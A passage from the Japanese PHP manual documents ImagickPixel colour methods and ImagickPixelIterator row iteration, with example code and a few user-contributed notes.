        // ---------------------------------------------------

    $pixel_one = $imagick_type->getImagePixelColor(0,0);

        // Grab Alpha/Opacity Values
        // ---------------------------------------------------

    $pixel_one_color_value_alpha = $pixel_one->getColorValue(imagick::COLOR_ALPHA);
    $pixel_one_color_value_opacity = $pixel_one->getColorValue(imagick::COLOR_OPACITY);

        // Grab Red/Green/Blue (RGB) Values
        // ---------------------------------------------------

    $pixel_one_color_value_red = $pixel_one->getColorValue(imagick::COLOR_RED);
    $pixel_one_color_value_green = $pixel_one->getColorValue(imagick::COLOR_GREEN);
    $pixel_one_color_value_blue = $pixel_one->getColorValue(imagick::COLOR_BLUE);

        // Grab Cyna/Magenta/Yellow/blacK (CMYK) Values
        // ---------------------------------------------------

    $pixel_one_color_value_cyan = $pixel_one->getColorValue(imagick::COLOR_CYAN);
    $pixel_one_color_value_magenta = $pixel_one->getColorValue(imagick::COLOR_MAGENTA);
    $pixel_one_color_value_yellow = $pixel_one->getColorValue(imagick::COLOR_YELLOW);
    $pixel_one_color_value_black = $pixel_one->getColorValue(imagick::COLOR_BLACK);

        // Print Results
        // ---------------------------------------------------

    print("Alpha: $pixel_one_color_value_alpha<br>");
    print("Opacity: $pixel_one_color_value_opacity<br><br>");

    print("---------------------------------------------<br><br>");

    print("Red: $pixel_one_color_value_red<br>");
    print("Green: $pixel_one_color_value_green<br>");
    print("Blue: $pixel_one_color_value_blue<br><br>");

    print("Cyan: $pixel_one_color_value_cyan<br>");
    print("Magenta: $pixel_one_color_value_magenta<br>");
    print("Yellow: $pixel_one_color_value_yellow<br>");
    print("Black: $pixel_one_color_value_black<br><br>");

    /*
            Example Results : : :
            -----------------------

Alpha: 1
Opacity: 0

---------------------------------------------

Red: 1
Green: 0.501960784314
Blue: 0.501960784314

Cyan: 1
Magenta: 0.501960784314
Yellow: 0.501960784314
Black: 0

    */

?>
mwwaygoo AT hotmail DOT com 18-May-2010 03:56
QUOTE: $color   The channel to check, specified as one of the Imagick channel constants.

$color is a COLOR_* constant, not a channel constant

e.g.
<?php
$image=new Imagick();
$image->readImage('test.png');
$point=$image->getImagePixelColor(0,0);
echo ' Alpha:'.$point->getColorValue(imagick::COLOR_ALPHA);
echo ' Opacity:'.$point->getColorValue(imagick::COLOR_OPACITY);
echo ' R:'.$point->getColorValue(imagick::COLOR_RED);
echo ' G:'.$point->getColorValue(imagick::COLOR_GREEN);
echo ' B:'.$point->getColorValue(imagick::COLOR_BLUE);
?>


Description

  • ≪ ImagickPixel::getColorValue
  • ImagickPixel::getHSL ≫
  • PHP Manual
  • ImagickPixel
  • Description

ImagickPixel::getColorValueQuantum

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

ImagickPixel::getColorValueQuantum — Description

説明

public ImagickPixel::getColorValueQuantum ( int $color ) : int|float

Gets the quantum value of a color in the ImagickPixel. Return value is a float if ImageMagick was compiled with HDRI, otherwise an integer.

パラメータ

この関数にはパラメータはありません。

返り値

The quantum value of the color element. Float if ImageMagick was compiled with HDRI, otherwise an int.

例

例1 ImagickPixel::getColorValueQuantum()

<?php
        $color = new \ImagickPixel('rgb(128, 5, 255)');
        $colorRed = $color->getColorValueQuantum(\Imagick::COLOR_RED);
        $colorGreen = $color->getColorValueQuantum(\Imagick::COLOR_GREEN);
        $colorBlue = $color->getColorValueQuantum(\Imagick::COLOR_BLUE);
        $colorAlpha = $color->getColorValueQuantum(\Imagick::COLOR_ALPHA);

        printf(
            "Red: %s Green: %s  Blue %s Alpha: %s",
            $colorRed,
            $colorGreen,
            $colorBlue,
            $colorAlpha
        );

?>

User Contributed Notes

There are no user contributed notes for this page.


ImagickPixel オブジェクトの HSL カラーを正規化したものを返す

  • ≪ ImagickPixel::getColorValueQuantum
  • ImagickPixel::getIndex ≫
  • PHP Manual
  • ImagickPixel
  • ImagickPixel オブジェクトの HSL カラーを正規化したものを返す

ImagickPixel::getHSL

(PECL imagick 2, PECL imagick 3)

ImagickPixel::getHSL — ImagickPixel オブジェクトの HSL カラーを正規化したものを返す

説明

public ImagickPixel::getHSL ( ) : array

ImagickPixel オブジェクトの HSL カラーを正規化したものを返します。 3 つの値は、それぞれ 0.0 から 1.0 までの間の浮動小数点数値となります。

返り値

HSL の値をそれぞれ "hue"、 "saturation"、そして "luminosity" というキーに保持する配列を返します。 失敗した場合に ImagickPixelException をスローします。

例

例1 基本的な Imagick::getHSL() の使用例

<?php

$color = new ImagickPixel('rgb(90%, 10%, 10%)');

$colorInfo = $color->getHSL();

print_r($colorInfo);

?>

上の例の出力は以下となります。

Array
(
    [hue] => 0
    [saturation] => 0.80001220740379
    [luminosity] => 0.50000762951095
)

注意

注意:

ImageMagick ライブラリバージョン 6.2.9 以降で使用可能です。

User Contributed Notes

rio at rio dot st 06-Aug-2009 10:25
This function needs ImageMagick > 6.2.8

In imagickpixel_class.c
#if MagickLibVersion > 0x628
/* {{{ proto array ImagickPixel::getHSL()
        Returns the normalized HSL color of the pixel wand in an array with the keys "hue", "saturation", and "luminosity".
*/


Description

  • ≪ ImagickPixel::getHSL
  • ImagickPixel::isPixelSimilar ≫
  • PHP Manual
  • ImagickPixel
  • Description

ImagickPixel::getIndex

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

ImagickPixel::getIndex — Description

説明

public ImagickPixel::getIndex ( ) : int

Gets the colormap index of the pixel wand.

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Check the distance between this color and another

  • ≪ ImagickPixel::getIndex
  • ImagickPixel::isPixelSimilarQuantum ≫
  • PHP Manual
  • ImagickPixel
  • Check the distance between this color and another

ImagickPixel::isPixelSimilar

(PECL imagick 3 >= 3.3.0)

ImagickPixel::isPixelSimilar — Check the distance between this color and another

説明

public ImagickPixel::isPixelSimilar ( ImagickPixel $color , float $fuzz ) : bool

Checks the distance between the color described by this ImagickPixel object and that of the provided object, by plotting their RGB values on the color cube. If the distance between the two points is less than the fuzz value given, the colors are similar. This method replaces ImagickPixel::isSimilar() and correctly normalises the fuzz value to ImageMagick QuantumRange.

パラメータ

color

The ImagickPixel object to compare this object against.

fuzz

The maximum distance within which to consider these colors as similar. The theoretical maximum for this value is the square root of three (1.732).

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ ImagickPixel::isPixelSimilar
  • ImagickPixel::isSimilar ≫
  • PHP Manual
  • ImagickPixel
  • Description

ImagickPixel::isPixelSimilarQuantum

(PECL imagick 3 >= 3.3.0)

ImagickPixel::isPixelSimilarQuantum — Description

説明

public ImagickPixel::isPixelSimilarQuantum ( string $color , string $fuzz = ? ) : bool

Returns true if the distance between two colors is less than the specified distance. The fuzz value should be in the range 0-QuantumRange. The maximum value represents the longest possible distance in the colorspace. e.g. from RGB(0, 0, 0) to RGB(255, 255, 255) for the RGB colorspace

パラメータ

color

fuzz

返り値

User Contributed Notes

There are no user contributed notes for this page.


この色と別の色の差を調べる

  • ≪ ImagickPixel::isPixelSimilarQuantum
  • ImagickPixel::setColor ≫
  • PHP Manual
  • ImagickPixel
  • この色と別の色の差を調べる

ImagickPixel::isSimilar

(PECL imagick 2, PECL imagick 3)

ImagickPixel::isSimilar — この色と別の色の差を調べる

説明

public isSimilar ( ImagickPixel $color , float $fuzz ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

この ImagickPixel オブジェクトと別のオブジェクトの色の差を調べます。 これは、両者の RGB 値を色立方体上にプロットすることで行います。 ふたつの色の差が fuzz で指定した値よりも小さければ、 同じ色であるとみなされます。 非推奨です。かわりに ImagickPixel::isPixelSimilar() を使いましょう。

パラメータ

color

このオブジェクトと比較したい ImagickPixel オブジェクト。

fuzz

同じ色であるとみなす最大の誤差。 理論上の最大値は、3 の平方根 (1.732) となります。

返り値

成功した場合に true を返します。

例

例1 ImagickPixel::isSimilar()

<?php
        // The tests below are written with the maximum distance expressed as 255
        // so we need to scale them by the square root of 3 - the diagonal length
        // of a unit cube.
        $root3 = 1.732050807568877;

        $tests = array(
            ['rgb(245, 0, 0)',      'rgb(255, 0, 0)',   9 / $root3,         false,],
            ['rgb(245, 0, 0)',      'rgb(255, 0, 0)',  10 / $root3,         true,],
            ['rgb(0, 0, 0)',        'rgb(7, 7, 0)',     9 / $root3,         false,],
            ['rgb(0, 0, 0)',        'rgb(7, 7, 0)',    10 / $root3,         true,],
            ['rgba(0, 0, 0, 1)',    'rgba(7, 7, 0, 1)', 9 / $root3,         false,],
            ['rgba(0, 0, 0, 1)',    'rgba(7, 7, 0, 1)',    10 / $root3,     true,],
            ['rgb(128, 128, 128)',  'rgb(128, 128, 120)',   7 / $root3,     false,],
            ['rgb(128, 128, 128)',  'rgb(128, 128, 120)',   8 / $root3,     true,],
            ['rgb(0, 0, 0)',        'rgb(255, 255, 255)',   254.9,          false,],
            ['rgb(0, 0, 0)',        'rgb(255, 255, 255)',   255,            true,],
            ['rgb(255, 0, 0)',      'rgb(0, 255, 255)',     254.9,          false,],
            ['rgb(255, 0, 0)',      'rgb(0, 255, 255)',     255,            true,],
            ['black',               'rgba(0, 0, 0)',        0.0,            true],
            ['black',               'rgba(10, 0, 0, 1.0)',  10.0 / $root3,  true],);

        $output = "<table width='100%' class='infoTable'><thead>
                <tr>
                <th>
                Color 1
                </th>
                <th>
                Color 2
                </th>
                <th>
                    Test distance * 255
                </th>
                <th>
                    Is within distance
                </th>
                </tr>
        </thead>";

        $output .= "<tbody>";

        foreach ($tests as $testInfo) {
            $color1 = $testInfo[0];
            $color2 = $testInfo[1];
            $distance = $testInfo[2];
            $expectation = $testInfo[3];
            $testDistance = ($distance / 255.0);

            $color1Pixel = new \ImagickPixel($color1);
            $color2Pixel = new \ImagickPixel($color2);

            $isSimilar = $color1Pixel->isPixelSimilar($color2Pixel, $testDistance);

            if ($isSimilar !== $expectation) {
                echo "Test distance failed. Color [$color1] compared to color [$color2] is not within distance $testDistance FAILED.".NL;
            }

            $layout = "<tr>
                <td>%s</td>
                <td>%s</td>
                <td>%s</td>
                <td style='text-align: center;'>%s</td>
            </tr>";

            $output .= sprintf(
                $layout,
                $color1,
                $color2,
                $distance,
                $isSimilar ? 'yes' : 'no'
            );
        }

        $output .= "</tbody></table>";

        return $output;

?>

User Contributed Notes

There are no user contributed notes for this page.


色を設定する

  • ≪ ImagickPixel::isSimilar
  • ImagickPixel::setColorCount ≫
  • PHP Manual
  • ImagickPixel
  • 色を設定する

ImagickPixel::setColor

(PECL imagick 2, PECL imagick 3)

ImagickPixel::setColor — 色を設定する

説明

public ImagickPixel::setColor ( string $color ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

この ImagickPixel オブジェクトの色を、文字列 (たとえば "blue"、"#0000ff"、"rgb(0,0,255)"、"cmyk(100,100,100,10)" などの形式) で設定します。

パラメータ

color

ImagickPixel オブジェクトを初期化する際に使用する色。

返り値

色が設定できた場合に true、それ以外の場合に false を返します。

例

例1 ImagickPixel::setColor()

<?php
function setColor() {
    $draw = new \ImagickDraw();

    $strokeColor = new \ImagickPixel('green');
    $fillColor = new \ImagickPixel();
    $fillColor->setColor('rgba(100%, 75%, 0%, 1.0)');

    $draw->setstrokewidth(3.0);
    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);
    $draw->rectangle(200, 200, 300, 300);

    $image = new \Imagick();
    $image->newImage(500, 500, "SteelBlue2");
    $image->setImageFormat("png");

    $image->drawImage($draw);

    header("Content-Type: image/png");
    echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ ImagickPixel::setColor
  • ImagickPixel::setColorValue ≫
  • PHP Manual
  • ImagickPixel
  • Description

ImagickPixel::setColorCount

(PECL imagick 2, PECL imagick 3)

ImagickPixel::setColorCount — Description

説明

public ImagickPixel::setcolorcount ( int $colorCount ) : bool

Sets the color count associated with this color.

パラメータ

colorCount

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


指定したチャネルの正規化した値を設定する

  • ≪ ImagickPixel::setColorCount
  • ImagickPixel::setColorValueQuantum ≫
  • PHP Manual
  • ImagickPixel
  • 指定したチャネルの正規化した値を設定する

ImagickPixel::setColorValue

(PECL imagick 2, PECL imagick 3)

ImagickPixel::setColorValue — 指定したチャネルの正規化した値を設定する

説明

public ImagickPixel::setColorValue ( int $color , float $value ) : bool

このオブジェクトの、指定したチャネルの値を正規化したものを設定します。 これは 0 から 1 までの値となります。この関数は、 ImagickPixel オブジェクトの透明度を指定する際にも使用します。

パラメータ

color

Imagick 色チャネル定数のいずれか。\Imagick::COLOR_GREEN や \Imagick::COLOR_ALPHA など。

value

そのチャネルに設定する値。0 から 1 までとなります。

返り値

成功した場合に true を返します。

例

例1 基本的な Imagick::setColorValue() の使用例

<?php

$color  = new \ImagickPixel('firebrick');

$color->setColorValue(Imagick::COLOR_ALPHA, 0.5);

print_r($color->getcolor(true));
?>

上の例の出力は以下となります。

Array
(
    [r] => 0.69803921568627
    [g] => 0.13333333333333
    [b] => 0.13333333333333
    [a] => 0.50000762951095
)

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ ImagickPixel::setColorValue
  • ImagickPixel::setHSL ≫
  • PHP Manual
  • ImagickPixel
  • Description

ImagickPixel::setColorValueQuantum

(PECL imagick 2 >=2.3.0, PECL imagick 3)

ImagickPixel::setColorValueQuantum — Description

説明

public ImagickPixel::setColorValueQuantum ( int $color , int|float $value ) : bool

Sets the quantum value of a color element of the ImagickPixel.

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

color

Which color element to set e.g. \Imagick::COLOR_GREEN.

value

The quantum value to set the color element to. This should be a float if ImageMagick was compiled with HDRI otherwise an int in the range 0 to Imagick::getQuantum().

返り値

成功した場合に true を返します。

例

例1 ImagickPixel::setColorValueQuantum()

<?php
function setColorValueQuantum() {
    $image = new \Imagick();

    $quantumRange = $image->getQuantumRange();

    $draw = new \ImagickDraw();
    $color = new \ImagickPixel('blue');
    $color->setcolorValueQuantum(\Imagick::COLOR_RED, 128 * $quantumRange['quantumRangeLong'] / 256);

    $draw->setstrokewidth(1.0);
    $draw->setStrokeColor($color);
    $draw->setFillColor($color);
    $draw->rectangle(200, 200, 300, 300);

    $image->newImage(500, 500, "SteelBlue2");
    $image->setImageFormat("png");

    $image->drawImage($draw);

    header("Content-Type: image/png");
    echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


正規化した HSL カラーを設定する

  • ≪ ImagickPixel::setColorValueQuantum
  • ImagickPixel::setIndex ≫
  • PHP Manual
  • ImagickPixel
  • 正規化した HSL カラーを設定する

ImagickPixel::setHSL

(PECL imagick 2, PECL imagick 3)

ImagickPixel::setHSL — 正規化した HSL カラーを設定する

説明

public ImagickPixel::setHSL ( float $hue , float $saturation , float $luminosity ) : bool

hue (色相)、saturation (彩度) および luminosity (明度) を正規化した値によって ImagickPixel オブジェクトの色を設定します。

パラメータ

hue

色相を正規化した値。これは、色相環上での位置 (0 から 1 まで) を表します。ゼロは赤です。

saturation

彩度を正規化した値。1 が最大です。

luminosity

明度を正規化した値。黒が 0、白が 1 で、 0.5 にすると完全な HS 値が再現されます。

返り値

成功した場合に true を返します。

例

例1 ImagickPixel::setHSL() による色の変更

<?php

// ほぼ真っ赤な色を作ります
$color = new ImagickPixel('rgb(90%, 10%, 10%)');

// その HSL 値を取得します
$colorInfo = $color->getHSL();

// 色相を 180 度反転させます
$newHue = $colorInfo['hue'] + 0.5;
if ($newHue > 1) {
    $newHue = $newHue - 1;
}

// ImagickPixel を新しい色に設定します
$colorInfo = $color->setHSL($newHue, $colorInfo['saturation'], $colorInfo['luminosity']);

// 新しい色が青/緑になることを確かめます
$colorInfo = $color->getcolor();
print_r($colorInfo);

?>

上の例の出力は以下となります。

Array
(
    [r] => 26
    [g] => 230
    [b] => 230
    [a] => 255
)

注意

注意:

ImageMagick ライブラリバージョン 6.2.9 以降で使用可能です。

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ ImagickPixel::setHSL
  • ImagickPixelIterator ≫
  • PHP Manual
  • ImagickPixel
  • Description

ImagickPixel::setIndex

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

ImagickPixel::setIndex — Description

説明

public ImagickPixel::setIndex ( int $index ) : bool

Sets the colormap index of the pixel wand.

パラメータ

index

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


ImagickPixelIterator クラス

(PECL imagick 2, PECL imagick 3)

クラス概要

ImagickPixelIterator {
public clear ( ) : bool
public __construct ( Imagick $wand )
public destroy ( ) : bool
public getCurrentIteratorRow ( ) : array
public getIteratorRow ( ) : int
public getNextIteratorRow ( ) : array
public getPreviousIteratorRow ( ) : array
public newPixelIterator ( Imagick $wand ) : bool
public newPixelRegionIterator ( Imagick $wand , int $x , int $y , int $columns , int $rows ) : bool
public resetIterator ( ) : bool
public setIteratorFirstRow ( ) : bool
public setIteratorLastRow ( ) : bool
public setIteratorRow ( int $row ) : bool
public syncIterator ( ) : bool
}

目次

  • ImagickPixelIterator::clear — PixelIterator に関連付けられたリソースを消去する
  • ImagickPixelIterator::__construct — ImagickPixelIterator のコンストラクタ
  • ImagickPixelIterator::destroy — PixelIterator に関連付けられているリソースの割り当てを解除する
  • ImagickPixelIterator::getCurrentIteratorRow — ImagickPixel オブジェクトの現在の行を返す
  • ImagickPixelIterator::getIteratorRow — pixel iterator の現在の行を返す
  • ImagickPixelIterator::getNextIteratorRow — pixel iterator の次の行を返す
  • ImagickPixelIterator::getPreviousIteratorRow — 前の行を返す
  • ImagickPixelIterator::newPixelIterator — 新しい pixel iterator を返す
  • ImagickPixelIterator::newPixelRegionIterator — 新しい pixel iterator を返す
  • ImagickPixelIterator::resetIterator — pixel iterator をリセットする
  • ImagickPixelIterator::setIteratorFirstRow — pixel iterator を最初の行に設定する
  • ImagickPixelIterator::setIteratorLastRow — pixel iterator を最後の行に設定する
  • ImagickPixelIterator::setIteratorRow — pixel iterator の行を設定する
  • ImagickPixelIterator::syncIterator — pixel iterator を同期する

User Contributed Notes

There are no user contributed notes for this page.


PixelIterator に関連付けられたリソースを消去する

  • ≪ ImagickPixelIterator
  • ImagickPixelIterator::__construct ≫
  • PHP Manual
  • ImagickPixelIterator
  • PixelIterator に関連付けられたリソースを消去する

ImagickPixelIterator::clear

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::clear — PixelIterator に関連付けられたリソースを消去する

説明

public ImagickPixelIterator::clear ( ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

PixelIterator に関連付けられたリソースを消去します。

返り値

成功した場合に true を返します。

例

例1 ImagickPixelIterator::clear()

<?php
function clear($imagePath) {
    $imagick = new \Imagick(realpath($imagePath));

    $imageIterator = $imagick->getPixelRegionIterator(100, 100, 250, 200);

    /* Loop through pixel rows */
    foreach ($imageIterator as $pixels) {
        /** @var $pixel \ImagickPixel */
        /* Loop through the pixels in the row (columns) */
        foreach ($pixels as $column => $pixel) {
            if ($column % 2) {
                /* Paint every second pixel black*/
                $pixel->setColor("rgba(0, 0, 0, 0)");
            }
        }
        /* Sync the iterator, this is important to do on each iteration */
        $imageIterator->syncIterator();
    }

    $imageIterator->clear();

    header("Content-Type: image/jpg");
    echo $imagick;
}

?>

User Contributed Notes

There are no user contributed notes for this page.


ImagickPixelIterator のコンストラクタ

  • ≪ ImagickPixelIterator::clear
  • ImagickPixelIterator::destroy ≫
  • PHP Manual
  • ImagickPixelIterator
  • ImagickPixelIterator のコンストラクタ

ImagickPixelIterator::__construct

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::__construct — ImagickPixelIterator のコンストラクタ

説明

public ImagickPixelIterator::__construct ( Imagick $wand )
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

ImagickPixelIterator のコンストラクタです。

返り値

成功した場合に true を返します。

例

例1 ImagickPixelIterator::construct()

<?php
function construct($imagePath) {
    $imagick = new \Imagick(realpath($imagePath));
    $imageIterator = new \ImagickPixelIterator($imagick);

    /* Loop through pixel rows */
    foreach ($imageIterator as $pixels) {
        /* Loop through the pixels in the row (columns) */
        foreach ($pixels as $column => $pixel) {
            /** @var $pixel \ImagickPixel */
            if ($column % 2) {
                /* Paint every second pixel black*/
                $pixel->setColor("rgba(0, 0, 0, 0)");
            }
        }
        /* Sync the iterator, this is important to do on each iteration */
        $imageIterator->syncIterator();
    }

    header("Content-Type: image/jpg");
    echo $imagick;
}

?>

User Contributed Notes

There are no user contributed notes for this page.


PixelIterator に関連付けられているリソースの割り当てを解除する

  • ≪ ImagickPixelIterator::__construct
  • ImagickPixelIterator::getCurrentIteratorRow ≫
  • PHP Manual
  • ImagickPixelIterator
  • PixelIterator に関連付けられているリソースの割り当てを解除する

ImagickPixelIterator::destroy

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::destroy — PixelIterator に関連付けられているリソースの割り当てを解除する

説明

public ImagickPixelIterator::destroy ( ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

PixelIterator に関連付けられているリソースの割り当てを解除します。

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


ImagickPixel オブジェクトの現在の行を返す

  • ≪ ImagickPixelIterator::destroy
  • ImagickPixelIterator::getIteratorRow ≫
  • PHP Manual
  • ImagickPixelIterator
  • ImagickPixel オブジェクトの現在の行を返す

ImagickPixelIterator::getCurrentIteratorRow

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::getCurrentIteratorRow — ImagickPixel オブジェクトの現在の行を返す

説明

public ImagickPixelIterator::getCurrentIteratorRow ( ) : array
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

pixel iterator の現在の行を、ImagickPixel オブジェクトの配列で返します。

返り値

ImagickPixel オブジェクトの配列形式で行を返します。これを順次処理することが可能です。

User Contributed Notes

There are no user contributed notes for this page.


pixel iterator の現在の行を返す

  • ≪ ImagickPixelIterator::getCurrentIteratorRow
  • ImagickPixelIterator::getNextIteratorRow ≫
  • PHP Manual
  • ImagickPixelIterator
  • pixel iterator の現在の行を返す

ImagickPixelIterator::getIteratorRow

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::getIteratorRow — pixel iterator の現在の行を返す

説明

public ImagickPixelIterator::getIteratorRow ( ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

pixel iterator の現在の行を返します。

返り値

pixel iterator の現在の行を返します。 エラー時には ImagickPixelIteratorException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


pixel iterator の次の行を返す

  • ≪ ImagickPixelIterator::getIteratorRow
  • ImagickPixelIterator::getPreviousIteratorRow ≫
  • PHP Manual
  • ImagickPixelIterator
  • pixel iterator の次の行を返す

ImagickPixelIterator::getNextIteratorRow

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::getNextIteratorRow — pixel iterator の次の行を返す

説明

public ImagickPixelIterator::getNextIteratorRow ( ) : array
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

pixel iterator の次の行を、pixel wands の配列として返します。

返り値

次の行を ImagickPixel オブジェクトの配列で返します。 エラー時には ImagickPixelIteratorException をスローします。

例

例1 ImagickPixelIterator::getNextIteratorRow()

<?php
function getNextIteratorRow($imagePath) {
    $imagick = new \Imagick(realpath($imagePath));
    $imageIterator = $imagick->getPixelIterator();

    $count = 0;
    while ($pixels = $imageIterator->getNextIteratorRow()) {
        if (($count % 3) == 0) {
            /* Loop through the pixels in the row (columns) */
            foreach ($pixels as $column => $pixel) {
                /** @var $pixel \ImagickPixel */
                if ($column % 2) {
                    /* Paint every second pixel black*/
                    $pixel->setColor("rgba(0, 0, 0, 0)");
                }
            }
            /* Sync the iterator, this is important to do on each iteration */
            $imageIterator->syncIterator();
        }

        $count += 1;
    }

    header("Content-Type: image/jpg");
    echo $imagick;
}

?>

User Contributed Notes

There are no user contributed notes for this page.


前の行を返す

  • ≪ ImagickPixelIterator::getNextIteratorRow
  • ImagickPixelIterator::newPixelIterator ≫
  • PHP Manual
  • ImagickPixelIterator
  • 前の行を返す

ImagickPixelIterator::getPreviousIteratorRow

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::getPreviousIteratorRow — 前の行を返す

説明

public ImagickPixelIterator::getPreviousIteratorRow ( ) : array
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

pixel iterator の前の行を、pixel wands の配列として返します。

返り値

ImagickPixelIterator の前の行を、ImagickPixelWand オブジェクトの配列として返します。エラー時には ImagickPixelIteratorException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


新しい pixel iterator を返す

  • ≪ ImagickPixelIterator::getPreviousIteratorRow
  • ImagickPixelIterator::newPixelRegionIterator ≫
  • PHP Manual
  • ImagickPixelIterator
  • 新しい pixel iterator を返す

ImagickPixelIterator::newPixelIterator

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::newPixelIterator — 新しい pixel iterator を返す

説明

public ImagickPixelIterator::newPixelIterator ( Imagick $wand ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

新しい pixel iterator を返します。

返り値

成功した場合に true を返します。 ImagickPixelIteratorException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


新しい pixel iterator を返す

  • ≪ ImagickPixelIterator::newPixelIterator
  • ImagickPixelIterator::resetIterator ≫
  • PHP Manual
  • ImagickPixelIterator
  • 新しい pixel iterator を返す

ImagickPixelIterator::newPixelRegionIterator

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::newPixelRegionIterator — 新しい pixel iterator を返す

説明

public ImagickPixelIterator::newPixelRegionIterator ( Imagick $wand , int $x , int $y , int $columns , int $rows ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

新しい pixel iterator を返します。

パラメータ

wand

x

y

columns

rows

返り値

成功した場合に新しい ImagickPixelIterator を返します。 失敗した場合は ImagickPixelIteratorException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


pixel iterator をリセットする

  • ≪ ImagickPixelIterator::newPixelRegionIterator
  • ImagickPixelIterator::setIteratorFirstRow ≫
  • PHP Manual
  • ImagickPixelIterator
  • pixel iterator をリセットする

ImagickPixelIterator::resetIterator

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::resetIterator — pixel iterator をリセットする

説明

public ImagickPixelIterator::resetIterator ( ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

pixel iterator をリセットします。 ImagickPixelIterator::getNextIteratorRow() と組み合わせて使用し、 ピクセルコンテナのすべてのピクセルを順にたどります。

返り値

成功した場合に true を返します。

例

例1 ImagickPixelIterator::resetIterator()

<?php
function resetIterator($imagePath) {

    $imagick = new \Imagick(realpath($imagePath));

    $imageIterator = $imagick->getPixelIterator();

    /* Loop trough pixel rows */
    foreach ($imageIterator as $pixels) {
        /* Loop through the pixels in the row (columns) */
        foreach ($pixels as $column => $pixel) {
            /** @var $pixel \ImagickPixel */
            if ($column % 2) {

                /* Make every second pixel 25% red*/
                $pixel->setColorValue(\Imagick::COLOR_RED, 64);
            }
        }
        /* Sync the iterator, this is important to do on each iteration */
        $imageIterator->syncIterator();
    }

    $imageIterator->resetiterator();

    /* Loop trough pixel rows */
    foreach ($imageIterator as $pixels) {
        /* Loop through the pixels in the row (columns) */
        foreach ($pixels as $column => $pixel) {
            /** @var $pixel \ImagickPixel */
            if ($column % 3) {
                $pixel->setColorValue(\Imagick::COLOR_BLUE, 64); /* Make every second pixel a little blue*/
                //$pixel->setColor("rgba(0, 0, 128, 0)"); /* Paint every second pixel black*/
            }
        }
        $imageIterator->syncIterator(); /* Sync the iterator, this is important to do on each iteration */
    }

    $imageIterator->clear();

    header("Content-Type: image/jpg");
    echo $imagick;
}

?>

User Contributed Notes

There are no user contributed notes for this page.


pixel iterator を最初の行に設定する

  • ≪ ImagickPixelIterator::resetIterator
  • ImagickPixelIterator::setIteratorLastRow ≫
  • PHP Manual
  • ImagickPixelIterator
  • pixel iterator を最初の行に設定する

ImagickPixelIterator::setIteratorFirstRow

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::setIteratorFirstRow — pixel iterator を最初の行に設定する

説明

public ImagickPixelIterator::setIteratorFirstRow ( ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

pixel iterator を最初の行に設定します。

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


pixel iterator を最後の行に設定する

  • ≪ ImagickPixelIterator::setIteratorFirstRow
  • ImagickPixelIterator::setIteratorRow ≫
  • PHP Manual
  • ImagickPixelIterator
  • pixel iterator を最後の行に設定する

ImagickPixelIterator::setIteratorLastRow

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::setIteratorLastRow — pixel iterator を最後の行に設定する

説明

public ImagickPixelIterator::setIteratorLastRow ( ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

pixel iterator を最後の行に設定します。

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


pixel iterator の行を設定する

  • ≪ ImagickPixelIterator::setIteratorLastRow
  • ImagickPixelIterator::syncIterator ≫
  • PHP Manual
  • ImagickPixelIterator
  • pixel iterator の行を設定する

ImagickPixelIterator::setIteratorRow

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::setIteratorRow — pixel iterator の行を設定する

説明

public ImagickPixelIterator::setIteratorRow ( int $row ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

pixel iterator の行を設定します。

パラメータ

row

返り値

成功した場合に true を返します。

例

